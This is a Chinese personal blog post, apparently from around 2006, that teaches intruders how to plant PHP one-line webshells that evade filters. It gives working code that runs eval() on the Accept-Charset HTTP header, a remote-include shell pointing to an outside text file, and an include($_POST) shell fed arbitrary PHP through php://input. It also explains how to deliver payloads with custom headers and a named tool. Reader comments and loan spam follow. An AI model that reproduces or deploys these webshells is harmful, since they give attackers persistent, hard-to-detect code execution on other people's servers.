浮幽小栈

本人BLOG全部内容均为原创,转载请注明出处.谢谢.

一种关于一句话木马的更新思想

,

这篇文章大概是涉及到了web,注入,一句话木马,很多人觉得做脚本小子,黑别人网站有点低级和为之不齿.更多名门正派老字号的黑客都不削于这种技术....哈哈
其实我个人也这么认为,可是俺是年轻人,思想比较浮躁和喜欢新鲜,加之俺又活在这个新生事物频发的年代,多少也要接触这些好的差的..好在对此研究也仅限于了解的目标.并不到为之痴狂的地步...
哎呀,废话说的太多了,opera的blog没有摘要功能,所以没偏杂文还是尽量简短一点好....

什么是一句话木马我就不说了哈....
传统的一句话木马如果碰到这台机器刚刚好升级,或者因为发现被入侵,装了一套过滤系统,这台机器上的一句话木马基本上成了残废,因为这个时候入侵者的代码数据无法上传到一句话木马,无法运行,也就没了这个功能了.
不过我不知道大家为什么这么久都没发现有一个地方,其实一直存在着漏洞,如果用在一句话木马上,一句话木马的前途将会非常光明.任何的过滤系统都不能够阻挡你的执行数据的目的,就算他的get,post,cookie,xml,rss全部严格过滤也无济于事.甚至,这个方法将很难有有效的防治办法.下面介绍这个办法.其实很简单.

说起发现这个方法,起码有个两年的时间了,有的时候要想要发出来又因为当时没有时间而过后又忘记了.

先看第一段代码:
<?
//$_SERVER里面可以是以下几个:
//HTTP_ACCEPT
//HTTP_ACCEPT_CHARSET
//HTTP_ACCEPT_ENCODING
//HTTP_ACCEPT_LANGUAGE
//HTTP_CONNECTION
//HTTP_HOST
//HTTP_REFERER
//HTTP_USER_AGENT
?>

<?eval($_SERVER["HTTP_ACCEPT_CHARSET"]);?>

放出这个,肯定很多人就明白了.就是利用http头的一些信息附带你的数据上去,作为一句话木马执行的参数.
不过明白的这些人肯定会有以下几个问题:
1.为什么说很难被防止.
因为http头信息有丰富的非法字符,比如代码中常用的*,逗号,句号,单引号,双银号,小括号等等等等其他的字符,如果把防注入程序用于http头,那恐怕几乎所有的正常数据都将被防止了.所以不可能对http进行过滤,需要非常复杂的的手法才能,相信没有人会去开发这种软件.
2.http头部够长吗,通常要执行的代码将会很长.
我测试过,iis和apache对于http头的数据确实有长度限制,这个限制大概是10,000-15,000个字符,也就是15KB,如此长的容量,我想传个简单的语句上去已经绰绰有余了吧,况且,当真碰到只有100多个字符限制的服务器,也可以先增量写入到session,然后从session中取出执行即可.
3.如何利用?

其实写个简单的代码是最好的了,本文附件中有带一个c源代码(gethttp.c)是简单的自定义http头信息,你可以用它来上传你的数据.

其次还可以借助一个工具:accessdiver.
该工具的下载地址:
http://www.accessdiver.com/downloads.htm

运行之后按f4按键,点击到extras tool页面,点击该页面下的http debugger子页面,在该页面的http address输入你的一句话木马页面,选择mode的get,点击mode上面一点的header data,会出现一个输入框,这个就是给你自定义http头的地方,其他地方我就不用说了,大家看看就会明白,这个工具很好用哦.

好了,上面说的那些是第一只马,现在再来第二只马.
代码:
<?@include("http://xxx/xx.txt");?>

相信大多数人都用过这样的马,不过这样的马有缺点,要是 allow_url_fopen 选项的支持.
其实利用inlcude做马的好处非常明显,没有了eval这些关键字,通过扫描的方式一般找不出来.
于是就有了下面这种include马:
<?@include($_POST["zv1984"]);?>

很普通哦.....然后用accessdiver(前面有下载地址).httpdebugger中选择post模式,post数据为:
zv1984=php://input&<?phpinfo();?>
然后看看效果.很棒吧.&号后面可以是任意的php代码.

好像很多了,就这样吧,可能我说的还是很简单,简单最好了不是么.

附件:gethttp.c

杂记一篇扫描目录的脚本

Comments

Anonymous Sunday, August 20, 2006 1:36:44 PM

sobiny writes: ZV老大 当真碰到只有100多个字符限制的服务器,也可以先增量写入到session,然后从session中取出执行即可. 这是不可能的哈 因为服务器再怎么禁。COOKIES不可能没有吧? HTTP_REFERER不可能没有吧。 HTTP_ACCEPT_LANGUAGE也不可能没有 所以正常的,就算没有COOKIES的HTTP头 都不可能只有100个字节,那是不现实的哈。呵呵。。。

Anonymous Wednesday, October 25, 2006 4:15:34 AM

Anonymous writes: Allife write ZV大大: 问个问题: 第一种马 怎样接受返回的信息啊 比如phpinfo(),读取文件的信息 怎么看到呢? 还有我换成下载文件功能的语句时 下不了啊。。。。 希望能得到你的帮助

zvrop Friday, October 27, 2006 12:15:18 PM

直接会在页面上显示出来,和普通的一句话效果是一样的.

Anonymous Saturday, November 4, 2006 5:56:21 PM

Anonymous writes: dfsfsfsfsafsa

Anonymous Wednesday, May 12, 2010 1:22:47 PM

ÐнонÑмний writes: Make your own life time more simple get the lowest-rate-loans.com and all you want.

Anonymous Wednesday, July 7, 2010 4:36:27 AM

Анонімний writes: It is known that money makes people free. But how to act when somebody doesn't have cash? The one way is to get the loans and consolidation loan.

Anonymous Tuesday, November 9, 2010 7:21:20 AM

Anonymous writes: www.chaxuen.net

How to use Quote function:

  1. Select some text
  2. Click on the Quote link

Write a comment

Comment
(BBcode and HTML is turned off for anonymous user comments.)

If you can't read the words, press the small reload icon.


Smilies

February 2012
S M T W T F S
January 2012March 2012
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29